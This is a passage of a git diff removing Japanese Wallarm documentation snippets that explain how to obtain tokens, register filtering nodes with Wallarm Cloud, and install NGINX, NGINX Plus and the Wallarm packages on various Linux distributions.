Cloudに接続するには、[適切な種類][wallarm-token-types]のWallarmトークンを使用します: - -=== "APIトークン" - - 1. Wallarm Consoleで[US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)の**Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを見つけるか作成します。 - 1. このトークンをコピーします。 - 1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t --labels 'group=' - ``` - - * ``は、`Deploy`ロールのAPIトークンをコピーした値です。 - * `--labels 'group='`パラメータはノードを``のnode groupに入れます（既存のグループがある場合はそこに、存在しない場合は作成されます）。フィルタリングモジュールとpostanalyticsモジュールを[別々に][install-postanalytics-instr]インストールする場合は、同じグループに入れることを推奨します。 - -=== "ノードトークン" - - 1. Wallarm Consoleで[US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)の**Nodes**を開きます。 - 1. 次のいずれかを実行します: - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のnode groupを使用する場合は、ノードのメニュー → **Copy token**からトークンをコピーします。 - 1. フィルタリングノードをインストールするマシンで`register-node`スクリプトを実行します: - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/register-node -t - ``` - - * ``は、コピーしたノードトークンの値です。フィルタリングモジュールとpostanalyticsモジュールを[別々に][install-postanalytics-instr]インストールする場合は、同じノードトークンを使用して同じグループに入れることを推奨します。 - -* ノードインスタンスに任意の名前を設定するために`-n `パラメータを追加できます。最終的なインスタンス名は`HOST_NAME_NodeUUID`になります。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud-for-cloud-images.md b/include-ja/waf/installation/connect-waf-and-cloud-for-cloud-images.md deleted file mode 100644 index ed93988baa..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud-for-cloud-images.md +++ /dev/null @@ -1,35 +0,0 @@ -選択したWallarmのデプロイ方法（[インライン][inline-docs]または[アウトオブバンド][oob-docs]）に応じて、Wallarm Cloudにインスタンスを登録するために使用するコマンドが異なります。 - -=== "インライン" - クラウドインスタンスのノードは、[cloud-init.py][cloud-init-spec]スクリプトを介してWallarm Cloudに接続します。このスクリプトは、提供されたトークンを使用してノードをWallarm Cloudに登録し、監視[モード][wallarm-mode]にグローバルに設定し、`--proxy-pass`フラグに基づいて正規トラフィックをプロキシするようノードを設定します。NGINXを再起動するとセットアップが完了します。 - - クラウドイメージから作成したインスタンスで、次のように`cloud-init.py`スクリプトを実行します。 - - === "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring --proxy-pass - ``` - - * `WALLARM_LABELS='group='`はノードグループ名（既存のもの。存在しない場合は作成されます）を設定します。APIトークンを使用する場合にのみ適用されます。 - * ``は、コピーしたトークンの値です。 - * ``は、Wallarmノードが正規トラフィックをプロキシする宛先アドレスです。アーキテクチャに応じて、アプリケーションインスタンスのIP、ロードバランサ、DNS名などを指定できます。 -=== "アウトオブバンド" - クラウドインスタンスのノードは、[cloud-init.py][cloud-init-spec]スクリプトを介してWallarm Cloudに接続します。このスクリプトは、提供されたトークンを使用してノードをWallarm Cloudに登録し、監視[モード][wallarm-mode]にグローバルに設定し、さらにNGINXの`location /`ブロックで[`wallarm_force`][wallarm_force_directive]ディレクティブを設定して、ミラーされたトラフィックのコピーのみを解析するようにします。NGINXを再起動するとセットアップが完了します。 - - クラウドイメージから作成したインスタンスで、次のように`cloud-init.py`スクリプトを実行します。 - - === "US Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo env WALLARM_LABELS='group=' /opt/wallarm/usr/share/wallarm-common/cloud-init.py -t -m monitoring -p mirror - ``` - - * `WALLARM_LABELS='group='`はノードグループ名（既存のもの。存在しない場合は作成されます）を設定します。APIトークンを使用する場合にのみ適用されます。 - * ``は、コピーしたトークンの値です。 \ No newline at end of file diff --git a/include-ja/waf/installation/connect-waf-and-cloud.md b/include-ja/waf/installation/connect-waf-and-cloud.md deleted file mode 100644 index e1c833043b..0000000000 --- a/include-ja/waf/installation/connect-waf-and-cloud.md +++ /dev/null @@ -1,23 +0,0 @@ -WallarmノードはWallarm Cloudと連携します。フィルタリングノードをWallarm Cloudに接続するには、次の手順に従います: - -1. Wallarm Consoleで、Wallarmアカウントに**Administrator**または**Deploy**ロールが有効で、かつtwo-factor authenticationが無効になっていることを確認してください。 - - これらの設定は、[USクラウド](https://us1.my.wallarm.com/settings/users)または[EUクラウド](https://my.wallarm.com/settings/users)のユーザー一覧に移動して確認できます。 - - ![Wallarm Consoleのユーザー一覧][img-wl-console-users] - -2. Wallarmノードがインストールされているシステムで`addnode`スクリプトを実行します: - - === "USクラウド" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "EUクラウド" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` -3. Wallarm Consoleのアカウントのメールアドレスとパスワードを入力します。 -4. フィルタリングノード名を入力するか、Enterを押して自動生成された名前を使用します。 - - 指定した名前は後からWallarm Console → **Nodes**で変更できます。 -5. [USクラウド](https://us1.my.wallarm.com/nodes)または[EUクラウド](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**セクションを開き、新しいフィルタリングノードが一覧に追加されていることを確認します。 \ No newline at end of file diff --git a/include-ja/waf/installation/connectors/native-node-limitations.md b/include-ja/waf/installation/connectors/native-node-limitations.md deleted file mode 100644 index c48a8e6c28..0000000000 --- a/include-ja/waf/installation/connectors/native-node-limitations.md +++ /dev/null @@ -1,4 +0,0 @@ -* [Helmチャート][helm-chart-native-node]を使用して`LoadBalancer`タイプでWallarmサービスをデプロイする場合、ドメインには**信頼済み**のSSL/TLS証明書が必要です。自己署名証明書はまだサポートされていません。 -* [カスタムブロッキングページおよびブロッキングコード][custom-blocking-page]の設定はまだサポートされていません。 -* Wallarmルールによる[レート制限][rate-limiting]はサポートされていません。 -* [マルチテナンシー][multi-tenancy]はまだサポートされていません。 \ No newline at end of file diff --git a/include-ja/waf/installation/docker-images/envoy-based-use-cases.md b/include-ja/waf/installation/docker-images/envoy-based-use-cases.md deleted file mode 100644 index ec27d90c9a..0000000000 --- a/include-ja/waf/installation/docker-images/envoy-based-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][supported-deployments]の中で、次の**ユースケース**ではEnvoyベースのDockerイメージでのWallarmのデプロイを推奨します： - -* 組織でDockerベースのインフラを利用している場合、WallarmのDockerイメージが最適です。AWS ECSやAlibaba ECSなどで稼働するマイクロサービスアーキテクチャを採用している場合や、同様のサービスを利用している場合でも、既存のセットアップに容易に統合できます。また、Dockerコンテナによる管理の簡素化を図りたい仮想マシン環境にも適用できます。 -* 各コンテナに対してきめ細かな制御が必要な場合、Dockerイメージが特に有効です。従来のVMベースのデプロイで一般的に可能なレベルを超えるリソース分離を実現します。 \ No newline at end of file diff --git a/include-ja/waf/installation/docker-images/envoy-requirements.md b/include-ja/waf/installation/docker-images/envoy-requirements.md deleted file mode 100644 index 9f84226754..0000000000 --- a/include-ja/waf/installation/docker-images/envoy-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされている必要があります。 -* Dockerイメージをダウンロードするために`https://hub.docker.com/r/wallarm/envoy`にアクセスできる必要があります。アクセスがファイアウォールによってブロックされていないことを確認します。 -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセスが必要です。 -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com`に、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com`にアクセスできる必要があります。アクセスがファイアウォールによってブロックされていないことを確認します。 -* 攻撃検知ルールの更新をダウンロードし、[許可リスト、拒否リスト、またはグレーリスト][ip-lists-docs]に登録されている国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスにアクセスできる必要があります。 - - --8<-- "../include/wallarm-cloud-ips.md" \ No newline at end of file diff --git a/include-ja/waf/installation/docker-images/nginx-based-use-cases.md b/include-ja/waf/installation/docker-images/nginx-based-use-cases.md deleted file mode 100644 index 67bfe3b703..0000000000 --- a/include-ja/waf/installation/docker-images/nginx-based-use-cases.md +++ /dev/null @@ -1,6 +0,0 @@ -サポートされている[Wallarmのデプロイオプション][platform]の中では、次の**ユースケース**におけるWallarmのデプロイにNGINXベースのDockerイメージを推奨します: - -* 組織でDockerベースのインフラストラクチャを利用している場合、WallarmのDockerイメージが最適です。AWS ECS、Alibaba ECS、その他の類似サービス上で稼働するマイクロサービスアーキテクチャを採用している場合でも、既存のセットアップに容易に統合できます。このソリューションは、Dockerコンテナで管理を簡素化したい仮想マシンを使用している場合にも適用できます。 -* 各コンテナに対するきめ細かな制御が必要な場合、このDockerイメージが特に有効です。従来のVMベースのデプロイで一般的に可能なレベルよりも高いリソース分離を提供します。 - -一般的なパブリッククラウドのコンテナオーケストレーションサービス上でWallarmのNGINXベースのDockerイメージを実行する方法の詳細については、次のガイドを参照してください: [AWS ECS][aws-ecs-docs], [GCP GCE][gcp-gce-docs], [Azure Container Instances][azure-container-docs], [Alibaba ECS][alibaba-ecs-docs]. \ No newline at end of file diff --git a/include-ja/waf/installation/docker-running-options.md b/include-ja/waf/installation/docker-running-options.md deleted file mode 100644 index 2743bd872e..0000000000 --- a/include-ja/waf/installation/docker-running-options.md +++ /dev/null @@ -1,4 +0,0 @@ -フィルタリングノードの設定パラメータは、次のいずれかの方法でデプロイ済みのDockerコンテナに渡す必要があります： - -* **環境変数で**。このオプションでは、フィルタリングノードの基本的なパラメータのみを設定できます。ほとんどの[ディレクティブ][nginx-waf-directives]は環境変数では設定できません。 -* **マウントされた設定ファイルで**。このオプションでは、任意の[ディレクティブ][nginx-waf-directives]によってフィルタリングノードを完全に設定できます。この設定方法では、フィルタリングノードおよびWallarm Cloudの接続設定を含む環境変数もコンテナに渡されます。 \ No newline at end of file diff --git a/include-ja/waf/installation/get-api-or-node-token.md b/include-ja/waf/installation/get-api-or-node-token.md deleted file mode 100644 index 70b7571150..0000000000 --- a/include-ja/waf/installation/get-api-or-node-token.md +++ /dev/null @@ -1,14 +0,0 @@ -1. [適切なタイプ][wallarm-token-types]のWallarmトークンを取得します: - - === "APIトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens)または[EU Cloud](https://my.wallarm.com/settings/api-tokens)のWallarm Console → **Settings** → **API tokens**を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを検索または作成します。 - 1. このトークンをコピーします。 - - === "ノードトークン" - - 1. [US Cloud](https://us1.my.wallarm.com/nodes)または[EU Cloud](https://my.wallarm.com/nodes)のWallarm Console → **Nodes**を開きます。 - 1. 次のいずれかを実行します: - * **Wallarm node**タイプのノードを作成し、生成されたトークンをコピーします。 - * 既存のノードグループを使用します - ノードのメニュー → **Copy token**からトークンをコピーします。 \ No newline at end of file diff --git a/include-ja/waf/installation/info-about-nginx-version-in-docker-container.md b/include-ja/waf/installation/info-about-nginx-version-in-docker-container.md deleted file mode 100644 index 70cd1b48ac..0000000000 --- a/include-ja/waf/installation/info-about-nginx-version-in-docker-container.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "Dockerコンテナ内のNGINXのバージョン" - DockerコンテナはNGINXのバージョン`1.14.x`を使用します。このNGINXバージョンにはいくつかの脆弱性が見つかる可能性がありますが、実際にはそのほとんどが[Debianチームによりパッチ適用済み](https://security-tracker.debian.org/tracker/source-package/nginx)です。DockerコンテナはDebian 10.x上でサービスを実行しているため、発見された脆弱性がデータ侵害につながることはないはずです。 \ No newline at end of file diff --git a/include-ja/waf/installation/info-about-using-one-token-for-several-nodes.md b/include-ja/waf/installation/info-about-using-one-token-for-several-nodes.md deleted file mode 100644 index ca78de1de0..0000000000 --- a/include-ja/waf/installation/info-about-using-one-token-for-several-nodes.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! info "複数のインストールで1つのトークンを使用する" - 選択した[プラットフォーム][deployment-platform-docs]にかかわらず、1つのトークンを複数のインストールで使用できます。これにより、Wallarm Console UIでノードインスタンスを論理的にグループ化できます。例: 開発環境に複数のWallarmノードをデプロイし、各ノードは特定の開発者が所有する個別のマシン上にあります。 \ No newline at end of file diff --git a/include-ja/waf/installation/kong-ingress-controller-reqs.md b/include-ja/waf/installation/kong-ingress-controller-reqs.md deleted file mode 100644 index c657c896e0..0000000000 --- a/include-ja/waf/installation/kong-ingress-controller-reqs.md +++ /dev/null @@ -1,11 +0,0 @@ -* Kubernetesプラットフォームのバージョン1.22〜1.26 -* Kongが保護対象のマイクロサービスへAPIリクエストをルーティングするように構成されたK8s Ingressリソース -* Kong 3.1.xと互換性のあるK8s Ingressリソース -* [Helm v3](https://helm.sh/)パッケージマネージャー -* US Wallarm Cloud利用のための`https://us1.api.wallarm.com`へのアクセス、またはEU Wallarm Cloud利用のための`https://api.wallarm.com`へのアクセス -* Wallarm Helmチャート追加のための`https://charts.wallarm.com`へのアクセス -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセス -* 攻撃検知ルールの更新のダウンロードならびに[allowlisted, denylisted, or graylisted][ip-lists-docs]の国、地域、またはデータセンターの正確なIPアドレスの取得のために、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" -* Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)で**Administrator**ロールを持つアカウントへのアクセス \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/common-customization-options.md b/include-ja/waf/installation/linux-packages/common-customization-options.md deleted file mode 100644 index b476476725..0000000000 --- a/include-ja/waf/installation/linux-packages/common-customization-options.md +++ /dev/null @@ -1,6 +0,0 @@ -* [Wallarmノードへのリソース割り当て][memory-instr] -* [Wallarmノード変数のログ記録][logging-instr] -* [フィルタリングノードの背後にあるプロキシサーバのロードバランサの使用][proxy-balancer-instr] -* [ディレクティブ`wallarm_process_time_limit`における単一のリクエストの処理時間の制限][process-time-limit-instr] -* [NGINXディレクティブ`proxy_read_timeout`におけるサーバからの応答待機時間の制限](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [NGINXディレクティブ`client_max_body_size`における最大リクエストサイズの制限](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md b/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md deleted file mode 100644 index 96d7615003..0000000000 --- a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-distro.md +++ /dev/null @@ -1,86 +0,0 @@ -## 1. Debian/CentOSリポジトリを追加します - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install dirmngr - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node buster/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 2. WallarmパッケージとともにNGINXをインストールします - -このコマンドは次のパッケージをインストールします: - -* `nginx`（NGINX用です） -* `libnginx-mod-http-wallarm`または`nginx-mod-http-wallarm`（NGINX-Wallarmモジュール用です） -* `wallarm-node`（[ポストアナリティクス][install-postanalytics-docs]モジュール、Tarantoolデータベース、追加のNGINX-Wallarmパッケージを含みます） - -=== "Debian 10.x (buster)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install --no-install-recommends nginx wallarm-node libnginx-mod-http-wallarm - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y nginx wallarm-node nginx-mod-http-wallarm - ``` - -## 3. Wallarmモジュールを接続します - -システム設定用の構成ファイルをコピーします: - -=== "Debian" - ```bash - sudo cp /usr/share/doc/libnginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "CentOS" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` -=== "RHEL 8.x" - ```bash - sudo cp /usr/share/doc/nginx-mod-http-wallarm/examples/*conf /etc/nginx/conf.d/ - ``` - -## 4. フィルタリングノードをWallarm Cloudに接続します - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md b/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md deleted file mode 100644 index 44b697411d..0000000000 --- a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-plus.md +++ /dev/null @@ -1,119 +0,0 @@ -## 1. NGINX Plusと依存関係をインストールします - -これらの[公式のNGINX手順](https://www.nginx.com/resources/admin-guide/installing-nginx-plus/)に従ってNGINX Plusとその依存関係をインストールします。 - -!!! info "Amazon Linux 2.0.2021x以下へのインストール" - Amazon Linux 2.0.2021x以下にNGINX Plusをインストールするには、CentOS 7の手順を使用します。 - -## 2. Wallarmリポジトリを追加します - -WallarmノードはWallarmリポジトリからインストールおよび更新されます。リポジトリを追加するには、ご利用のプラットフォーム向けの次のコマンドを使用します: - -=== "Debian 11.x（bullseye）" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS（bionic）" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS（focal）" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS（jammy）" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` -=== "RHEL 8.x" - ```bash - sudo dnf install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/8/4.8/x86_64/wallarm-node-repo-4.8-0.el8.noarch.rpm - ``` - -## 3. Wallarmパッケージをインストールします - -次のパッケージが必要です: - -* `nginx-plus-module-wallarm`（NGINX Plus-Wallarmモジュール用） -* `wallarm-node`（[postanalytics][install-postanalytics-instr]モジュール、Tarantoolデータベース、追加のNGINX Plus-Wallarmパッケージ用） - -=== "Debian" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt -y install --no-install-recommends wallarm-node nginx-plus-module-wallarm - ``` -=== "CentOSまたはAmazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` -=== "RHEL 8.x" - ```bash - sudo yum install -y wallarm-node nginx-plus-module-wallarm - ``` - -## 4. Wallarmモジュールを接続します - -1. ファイル`/etc/nginx/nginx.conf`を開きます: - - ```bash - sudo vim /etc/nginx/nginx.conf - ``` -2. 次のディレクティブを`worker_processes`ディレクティブの直後に追加します: - - ```bash - load_module modules/ngx_http_wallarm_module.so; - ``` - - 追加したディレクティブを含む設定例: - - ``` - user nginx; - worker_processes auto; - load_module modules/ngx_http_wallarm_module.so; - - error_log /var/log/nginx/error.log notice; - pid /var/run/nginx.pid; - ``` - -3. システムセットアップ用の構成ファイルをコピーします: - - ``` bash - sudo cp /usr/share/doc/nginx-plus-module-wallarm/examples/*.conf /etc/nginx/conf.d/ - ``` - -## 5. フィルタリングノードをWallarm Cloudに接続します - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6.md" \ No newline at end of file diff --git a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md b/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md deleted file mode 100644 index 1acf9c0425..0000000000 --- a/include-ja/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md +++ /dev/null @@ -1,197 +0,0 @@ -## 1. NGINXのstableおよび依存関係をインストール - -NGINXリポジトリからNGINXの`stable`をインストールするオプションは次のとおりです: - -* ビルド済みパッケージからのインストール - - === "Debian" - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release debian-archive-keyring - echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fSsL https://nginx.org/keys/nginx_signing.key | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/nginx.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/nginx.gpg - sudo apt update - sudo apt -y install nginx - ``` - === "Ubuntu" - 1. NGINXのstableに必要な依存関係をインストールします: - - ```bash - sudo apt -y install curl gnupg2 ca-certificates lsb-release - ``` - 1. NGINXのstableをインストールします: - - ```bash - echo "deb http://nginx.org/packages/ubuntu `lsb_release -cs` nginx" | sudo tee /etc/apt/sources.list.d/nginx.list - curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - - sudo apt update - sudo apt -y install nginx - ``` - === "CentOSまたはAmazon Linux 2.0.2021x以下" - - 1. CentOS 7.xにEPELリポジトリが追加されている場合は、ファイル`/etc/yum.repos.d/epel.repo`に`exclude=nginx*`を追加して、このリポジトリからのNGINXのstableのインストールを無効化してください。 - - 変更後のファイル`/etc/yum.repos.d/epel.repo`の例: - - ```bash - [epel] - name=Extra Packages for Enterprise Linux 7 - $basearch - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-7&arch=$basearch - failovermethod=priority - enabled=1 - gpgcheck=1 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - exclude=nginx* - - [epel-debuginfo] - name=Extra Packages for Enterprise Linux 7 - $basearch - Debug - #baseurl=http://download.fedoraproject.org/pub/epel/7/$basearch/debug - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-debug-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - - [epel-source] - name=Extra Packages for Enterprise Linux 7 - $basearch - Source - #baseurl=http://download.fedoraproject.org/pub/epel/7/SRPMS - metalink=https://mirrors.fedoraproject.org/metalink?repo=epel-source-7&arch=$basearch - failovermethod=priority - enabled=0 - gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-7 - gpgcheck=1 - ``` - - 2. 公式リポジトリからNGINXのstableをインストールします: - - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - === "RHEL 8.x" - ```bash - echo -e '\n[nginx-stable] \nname=nginx stable repo \nbaseurl=http://nginx.org/packages/centos/$releasever/$basearch/ \ngpgcheck=1 \nenabled=1 \ngpgkey=https://nginx.org/keys/nginx_signing.key \nmodule_hotfixes=true' | sudo tee /etc/yum.repos.d/nginx.repo - sudo yum install -y nginx - ``` - -* [NGINXリポジトリ](https://hg.nginx.org/pkg-oss/branches)の`stable`ブランチからソースコードをコンパイルし、同じオプションでインストール - - !!! info "AlmaLinux、Rocky LinuxまたはOracle Linux 8.x向けのNGINX" - これはAlmaLinux、Rocky LinuxまたはOracle Linux 8.xにNGINXをインストールする唯一の方法です。 - -NGINXのインストールに関する詳細は[公式NGINXドキュメント](https://www.nginx.com/resources/admin-guide/installing-nginx-open-source/)を参照してください。 - -## 2. Wallarmリポジトリを追加 - -WallarmノードはWallarmリポジトリからインストールおよび更新されます。リポジトリを追加するには、ご利用のプラットフォーム向けの次のコマンドを使用してください: - -=== "Debian 11.x (bullseye)" - ```bash - sudo apt -y install dirmngr - curl -fSsL https://repo.wallarm.com/wallarm.gpg | sudo gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/wallarm.gpg --import - sudo chmod 644 /etc/apt/trusted.gpg.d/wallarm.gpg - sh -c "echo 'deb https://repo.wallarm.com/debian/wallarm-node bullseye/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node bionic/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sh -c "echo 'deb https://repo.wallarm.com/ubuntu/wallarm-node jammy/4.8/' | sudo tee /etc/apt/sources.list.d/wallarm.list" - sudo apt update - ``` -=== "CentOS 7.x" - ```bash - sudo yum install -y epel-release - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` -=== "Amazon Linux 2.0.2021x以下" - ```bash - sudo yum install -y https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm - sudo rpm -i https://repo.wallarm.com/centos/wallarm-node/7/4.8/x86_64/wallarm-node-repo-4.8-0.el7.noarch.rpm - ``` 